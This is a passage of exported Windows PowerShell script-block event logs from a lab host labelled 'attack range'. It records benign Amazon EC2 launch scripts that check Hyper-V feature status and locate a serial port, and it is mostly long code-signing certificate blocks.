2CKadRVC9S0yOIHa9GCiurRS+1zgYSQlT7LfySmoc0NR2r1j1h9bm/cuG08THfdK # DXF+l7f0P4TrweOjSaH6zqe/Vs+6WXZhiV9+p7SOZ3j5NpjhyyjaW4emii8wggUx # MIIEGaADAgECAhAKoSXW1jIbfkHkBdo2l8IVMA0GCSqGSIb3DQEBCwUAMGUxCzAJ # BgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k # aWdpY2VydC5jb20xJDAiBgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBD # QTAeFw0xNjAxMDcxMjAwMDBaFw0zMTAxMDcxMjAwMDBaMHIxCzAJBgNVBAYTAlVT # MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j # b20xMTAvBgNVBAMTKERpZ2lDZXJ0IFNIQTIgQXNzdXJlZCBJRCBUaW1lc3RhbXBp # bmcgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC90DLuS82Pf92p # uoKZxTlUKFe2I0rEDgdFM1EQfdD5fU1ofue2oPSNs4jkl79jIZCYvxO8V9PD4X4I # 1moUADj3Lh477sym9jJZ/l9lP+Cb6+NGRwYaVX4LJ37AovWg4N4iPw7/fpX786O6 # Ij4YrBHk8JkDbTuFfAnT7l3ImgtU46gJcWvgzyIQD3XPcXJOCq3fQDpct1HhoXkU # xk0kIzBdvOw8YGqsLwfM/fDqR9mIUF79Zm5WYScpiYRR5oLnRlD9lCosp+R1PrqY # D4R/nzEU1q3V8mTLex4F0IQZchfxFwbvPc3WTe8GQv2iUypPhR3EHTyvz9qsEPXd # rKzpVv+TAgMBAAGjggHOMIIByjAdBgNVHQ4EFgQU9LbhIB3+Ka7S5GGlsqIlssgX # NW4wHwYDVR0jBBgwFoAUReuir/SSy4IxLVGLp6chnfNtyA8wEgYDVR0TAQH/BAgw # BgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwgweQYI # KwYBBQUHAQEEbTBrMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5j # b20wQwYIKwYBBQUHMAKGN2h0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdp # Q2VydEFzc3VyZWRJRFJvb3RDQS5jcnQwgYEGA1UdHwR6MHgwOqA4oDaGNGh0dHA6 # Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJRFJvb3RDQS5jcmww # OqA4oDaGNGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJ # RFJvb3RDQS5jcmwwUAYDVR0gBEkwRzA4BgpghkgBhv1sAAIEMCowKAYIKwYBBQUH # AgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCwYJYIZIAYb9bAcBMA0G # CSqGSIb3DQEBCwUAA4IBAQBxlRLpUYdWac3v3dp8qmN6s3jPBjdAhO9LhL/KzwMC # /cWnww4gQiyvd/MrHwwhWiq3BTQdaq6Z+CeiZr8JqmDfdqQ6kw/4stHYfBli6F6C # JR7Euhx7LCHi1lssFDVDBGiy23UC4HLHmNY8ZOUfSBAYX4k4YU1iRiSHY4yRUiyv # KYnleB/WCxSlgNcSR3CzddWThZN+tpJn+1Nhiaj1a5bA9FhpDXzIAbG5KHW3mWOF # IoxhynmUfln8jA/jb7UBJrZspe6HUSHkWGCbugwtK22ixH67xCUrRwIIfEmuE7bh # fEJCKMYYVs9BNLZmXbZ0e/VWMyIvIjayS6JKldj1po5SMYIChjCCAoICAQEwgYYw # cjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQ # d3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVk # IElEIFRpbWVzdGFtcGluZyBDQQIQDUJK4L46iP9gQCHOFADw3TANBglghkgBZQME # AgEFAKCB0TAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQwHAYJKoZIhvcNAQkF # MQ8XDTIyMDEzMTE4NTAxNVowKwYLKoZIhvcNAQkQAgwxHDAaMBgwFgQU4deCqOGR # vu9ryhaRtaq0lKYkm/MwLwYJKoZIhvcNAQkEMSIEIHVU9Tp5WiHa4lf1x+NncuGn # KGaY7f4dShZtz3YOFrFtMDcGCyqGSIb3DQEJEAIvMSgwJjAkMCIEILMQkAa8CtmD # B5FXKeBEA0Fcg+MpK2FPJpZMjTVx7PWpMA0GCSqGSIb3DQEBAQUABIIBACyabBW3 # PWgwEia4yrgSTyu+k2emUA6WPcT8ON6H6je2L31xSd+cx9F75ap3AGnM92VYkVPm # lspoT4EAYF9zxhDNPrgUI/Iey/kBOhFQoFI8FK6nIlFBxWrpUu9n62vXXdLMZfL9 # gCpCGN63luDHYMQsyDNo6OS/47HT/I248JA9QIJT/k/cwEN+NXQcZyCNKx4nzRdG # 6PneEUogwkmDqIZuBAW7yPXD5BZsAgUKInIuGQfjj4ZoZEU1e1C1DyhyPmA8YOIk # d2Sy+DYdLrWAPMx+jRkjkiOdv/U5e3XM0/jKBxPxjpBzZFMMq3+Sh78p54+0JZSK # HFQ/8DlNhx2lScs= # SIG # End signature block",,,,,,,,,,,"'2022-05-02T13:04:09.861779900Z'","4104152150x0120611Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5744'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104152150x0120611Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Amazon Software License (the ""License""). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://aws.amazon.com/asl/ # # or in the ""license"" file accompanying this file. This file is distributed # on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either # express or implied. See the License for the specific language governing # permissions and limitations under the License. <#----------------------------------------------------------------------------------------------------------- Send-FeatureStatus sends feature installation and corresponding service status to the console. -------------------------------------------------------------------------------------------------------------#> function Send-FeatureStatus { Set-Variable -Name INSTALL_STATE_ENABLED -Value 1 -Option Constant try { $windowsFeatures = @(@{ FeatureName = ""Microsoft-Hyper-V""; InstalledServiceName = ""vmms"" }) $featureName = """" foreach ($feature in $windowsFeatures) { $featureName = $feature.FeatureName $featureInfo = Get-WmiObject -Query ""select * from Win32_OptionalFeature where name = '$featureName'"" -ErrorAction ""SilentlyContinue"" if ($featureInfo.InstallState -eq $INSTALL_STATE_ENABLED) { Write-Log (""{0} feature is installed."" -f $feature.FeatureName) -LogToConsole $srvStatus = (Get-Service -Name $feature.InstalledServiceName -ErrorAction ""SilentlyContinue"").Status if ($srvStatus) { Write-Log (""{0} service ({1}) is {2}."" -f $feature.FeatureName,$feature.InstalledServiceName,$srvStatus) -LogToConsole } else { Write-Log (""Unable to get service status for {0}."" -f $feature.InstalledServiceName) -LogToConsole } } } } catch { Write-ErrorLog (""Failed to get info for feature {0}."" -f $featureName) -LogToConsole } } # SIG # Begin signature block # MIIfJwYJKoZIhvcNAQcCoIIfGDCCHxQCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDjgh6VOIxwaedw # KSMGByf3horHspStpxBFDJoAggHCkqCCDlUwggawMIIEmKADAgECAhAIrUCyYNKc # TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK # EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV # BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z # NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw # ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0 # JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr # Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF # LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F # LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh # 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ # wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay # g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI # YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp # QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro # OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB # WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+ # YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P # AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk # BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC # hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v # dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED # MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql # +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF # UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h # mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw # YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld # AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw # 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP # LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE # QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn # KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji # WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq # yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G # CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz # MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr # BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV # BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw # DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ # bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl # cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ # u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W # JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU # faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J # A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s # 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF # i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0 # IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA # DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB # AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV # HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI # A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud # JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz # LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5 # NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx # Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6 # Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB # BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0 # cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp # Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq # hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ # 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd # 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk # S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH # eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5 # vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR # LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW # /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O # gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy # +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M # QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx # ghAoMIIQJAIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI # AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB # BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B # CQQxIgQgdzexdzMYkIEm1UNG5CBUDR+9l+/zYPwjBjbdh+TcAiwwDQYJKoZIhvcN # AQEBBQAEggGAamkrbtyEpbGtedUQ4h9zNshy8dl3eBQLV1lEquhSpeKpVeUWgy+x # aS1xtW19R0wNPEIrdLzcj2zaraZs2KdshXkkYSOEUqZyF2899cKNakxKreZq2KFR # UFCLL8ZuClPoHNyA3Xx9weBywZV8U0Jke5siL6n8+A8epsZolSqzhtmLPE3JGydI # zAacvomCFjYnVoICyZ6cddF9jUgRb5fvoSK48oRIklCg7gi4OFutWeexaM9gpvkO # 4KSe1Y54VlC09nNDnaEiBcM/Kc+ovLjmjlLKAoRzg6nR9ZfMG5DOc6HPWLGHGtmR # bN47jjcRaa0YQ4lgnoaBfmAJR2pH8+6V36WHgdx6uLwHfq6RjO9yEgbJyRyhexyc # XLq36kjV+7EyxfLBuRziT6rWtC7I3SRgKKuTXnssLvKrf0U+Vl8UPfzlVFL/7Rbq # j9KuJiF/i+Svy6wZSs0wkxL84b3ao5P85uKt6tg3f5OnUuIHeh1EWhbRAQdoejju # lxidc1l7AiJWoYINfjCCDXoGCisGAQQBgjcDAwExgg1qMIINZgYJKoZIhvcNAQcC # oIINVzCCDVMCAQMxDzANBglghkgBZQMEAgEFADB4BgsqhkiG9w0BCRABBKBpBGcw # ZQIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEIImknLNJTzcLYfbfC6Hi # E52ohUzjg2RgunUs6M3oNU6OAhEAkaOiVVT9285Q5kFvwph/oxgPMjAyMjAxMzEx # ODUwMTVaoIIKNzCCBP4wggPmoAMCAQICEA1CSuC+Ooj/YEAhzhQA8N0wDQYJKoZI # hvcNAQELBQAwcjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ # MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hB # MiBBc3N1cmVkIElEIFRpbWVzdGFtcGluZyBDQTAeFw0yMTAxMDEwMDAwMDBaFw0z # MTAxMDYwMDAwMDBaMEgxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjEgMB4GA1UEAxMXRGlnaUNlcnQgVGltZXN0YW1wIDIwMjEwggEiMA0GCSqG # SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDC5mGEZ8WK9Q0IpEXKY2tR1zoRQr0KdXVN # lLQMULUmEP4dyG+RawyW5xpcSO9E5b+bYc0VkWJauP9nC5xj/TZqgfop+N0rcIXe # AhjzeG28ffnHbQk9vmp2h+mKvfiEXR52yeTGdnY6U9HR01o2j8aj4S8bOrdh1nPs # Tm0zinxdRS1LsVDmQTo3VobckyON91Al6GTm3dOPL1e1hyDrDo4s1SPa9E14RuMD # gzEpSlwMMYpKjIjF9zBa+RSvFV9sQ0kJ/SYjU/aNY+gaq1uxHTDCm2mCtNv8VlS8 # H6GHq756WwogL0sJyZWnjbL61mOLTqVyHO6fegFz+BnW/g1JhL0BAgMBAAGjggG4 # MIIBtDAOBgNVHQ8BAf8EBAMCB4AwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAK # BggrBgEFBQcDCDBBBgNVHSAEOjA4MDYGCWCGSAGG/WwHATApMCcGCCsGAQUFBwIB # FhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHwYDVR0jBBgwFoAU9LbhIB3+ # Ka7S5GGlsqIlssgXNW4wHQYDVR0OBBYEFDZEho6kurBmvrwoLR1ENt3janq8MHEG # A1UdHwRqMGgwMqAwoC6GLGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWFz # c3VyZWQtdHMuY3JsMDKgMKAuhixodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hh # Mi1hc3N1cmVkLXRzLmNybDCBhQYIKwYBBQUHAQEEeTB3MCQGCCsGAQUFBzABhhho # dHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jYWNl # cnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJBc3N1cmVkSURUaW1lc3RhbXBp # bmdDQS5jcnQwDQYJKoZIhvcNAQELBQADggEBAEgc3LXpmiO85xrnIA6OZ0b9QnJR # dAojR6OrktIlxHBZvhSg5SeBpU0UFRkHefDRBMOG2Tu9/kQCZk3taaQP9rhwz2Lo # 9VFKeHk2eie38+dSn5On7UOee+e03UEiifuHokYDTvz0/rdkd2NfI1Jpg4L6GlPt # kMyNoRdzDfTzZTlwS/Oc1np72gy8PTLQG8v1Yfx1CAB2vIEO+MDhXM/EEXLnG2RJ # 2CKadRVC9S0yOIHa9GCiurRS+1zgYSQlT7LfySmoc0NR2r1j1h9bm/cuG08THfdK # DXF+l7f0P4TrweOjSaH6zqe/Vs+6WXZhiV9+p7SOZ3j5NpjhyyjaW4emii8wggUx # MIIEGaADAgECAhAKoSXW1jIbfkHkBdo2l8IVMA0GCSqGSIb3DQEBCwUAMGUxCzAJ # BgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k # aWdpY2VydC5jb20xJDAiBgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBD # QTAeFw0xNjAxMDcxMjAwMDBaFw0zMTAxMDcxMjAwMDBaMHIxCzAJBgNVBAYTAlVT # MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j # b20xMTAvBgNVBAMTKERpZ2lDZXJ0IFNIQTIgQXNzdXJlZCBJRCBUaW1lc3RhbXBp # bmcgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC90DLuS82Pf92p # uoKZxTlUKFe2I0rEDgdFM1EQfdD5fU1ofue2oPSNs4jkl79jIZCYvxO8V9PD4X4I # 1moUADj3Lh477sym9jJZ/l9lP+Cb6+NGRwYaVX4LJ37AovWg4N4iPw7/fpX786O6 # Ij4YrBHk8JkDbTuFfAnT7l3ImgtU46gJcWvgzyIQD3XPcXJOCq3fQDpct1HhoXkU # xk0kIzBdvOw8YGqsLwfM/fDqR9mIUF79Zm5WYScpiYRR5oLnRlD9lCosp+R1PrqY # D4R/nzEU1q3V8mTLex4F0IQZchfxFwbvPc3WTe8GQv2iUypPhR3EHTyvz9qsEPXd # rKzpVv+TAgMBAAGjggHOMIIByjAdBgNVHQ4EFgQU9LbhIB3+Ka7S5GGlsqIlssgX # NW4wHwYDVR0jBBgwFoAUReuir/SSy4IxLVGLp6chnfNtyA8wEgYDVR0TAQH/BAgw # BgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwgweQYI # KwYBBQUHAQEEbTBrMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5j # b20wQwYIKwYBBQUHMAKGN2h0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdp # Q2VydEFzc3VyZWRJRFJvb3RDQS5jcnQwgYEGA1UdHwR6MHgwOqA4oDaGNGh0dHA6 # Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJRFJvb3RDQS5jcmww # OqA4oDaGNGh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEFzc3VyZWRJ # RFJvb3RDQS5jcmwwUAYDVR0gBEkwRzA4BgpghkgBhv1sAAIEMCowKAYIKwYBBQUH # AgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCwYJYIZIAYb9bAcBMA0G # CSqGSIb3DQEBCwUAA4IBAQBxlRLpUYdWac3v3dp8qmN6s3jPBjdAhO9LhL/KzwMC # /cWnww4gQiyvd/MrHwwhWiq3BTQdaq6Z+CeiZr8JqmDfdqQ6kw/4stHYfBli6F6C # JR7Euhx7LCHi1lssFDVDBGiy23UC4HLHmNY8ZOUfSBAYX4k4YU1iRiSHY4yRUiyv # KYnleB/WCxSlgNcSR3CzddWThZN+tpJn+1Nhiaj1a5bA9FhpDXzIAbG5KHW3mWOF # IoxhynmUfln8jA/jb7UBJrZspe6HUSHkWGCbugwtK22ixH67xCUrRwIIfEmuE7bh # fEJCKMYYVs9BNLZmXbZ0e/VWMyIvIjayS6JKldj1po5SMYIChjCCAoICAQEwgYYw # cjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQ # d3d3LmRpZ2ljZXJ0LmNvbTExMC8GA1UEAxMoRGlnaUNlcnQgU0hBMiBBc3N1cmVk # IElEIFRpbWVzdGFtcGluZyBDQQIQDUJK4L46iP9gQCHOFADw3TANBglghkgBZQME # AgEFAKCB0TAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQwHAYJKoZIhvcNAQkF # MQ8XDTIyMDEzMTE4NTAxNVowKwYLKoZIhvcNAQkQAgwxHDAaMBgwFgQU4deCqOGR # vu9ryhaRtaq0lKYkm/MwLwYJKoZIhvcNAQkEMSIEIHVU9Tp5WiHa4lf1x+NncuGn # KGaY7f4dShZtz3YOFrFtMDcGCyqGSIb3DQEJEAIvMSgwJjAkMCIEILMQkAa8CtmD # B5FXKeBEA0Fcg+MpK2FPJpZMjTVx7PWpMA0GCSqGSIb3DQEBAQUABIIBACyabBW3 # PWgwEia4yrgSTyu+k2emUA6WPcT8ON6H6je2L31xSd+cx9F75ap3AGnM92VYkVPm # lspoT4EAYF9zxhDNPrgUI/Iey/kBOhFQoFI8FK6nIlFBxWrpUu9n62vXXdLMZfL9 # gCpCGN63luDHYMQsyDNo6OS/47HT/I248JA9QIJT/k/cwEN+NXQcZyCNKx4nzRdG # 6PneEUogwkmDqIZuBAW7yPXD5BZsAgUKInIuGQfjj4ZoZEU1e1C1DyhyPmA8YOIk # d2Sy+DYdLrWAPMx+jRkjkiOdv/U5e3XM0/jKBxPxjpBzZFMMq3+Sh78p54+0JZSK # HFQ/8DlNhx2lScs= # SIG # End signature block a20e07de-9346-48da-8f42-f484ae05462fC:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Send-FeatureStatus.ps1","2022-05-02T13:04:09.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",120611,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,120611,win,224,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0004-0E44-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11# Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. # version 1.0.0.1 # For platforms where in the PCIe UART (described in ACPI SPCR) # gets mapped to a different symbolic link COMx (where x != 1), # the below function discovers the corresponding COMx and returns it. # Read ACPI SPCR table to find the Device Information for the PCIe UART # AWSReadAcpiSpcr.exe is a Win32 console which uses the ACPI Table info # to extract the right COM Port to use. # # Function to return the B/D/F for the passed LocationInformation # from RegistryHive # function FindBDF { param([string]$LocationInfo) [hashtable]$result = @{} [void]($LocationInfo -match 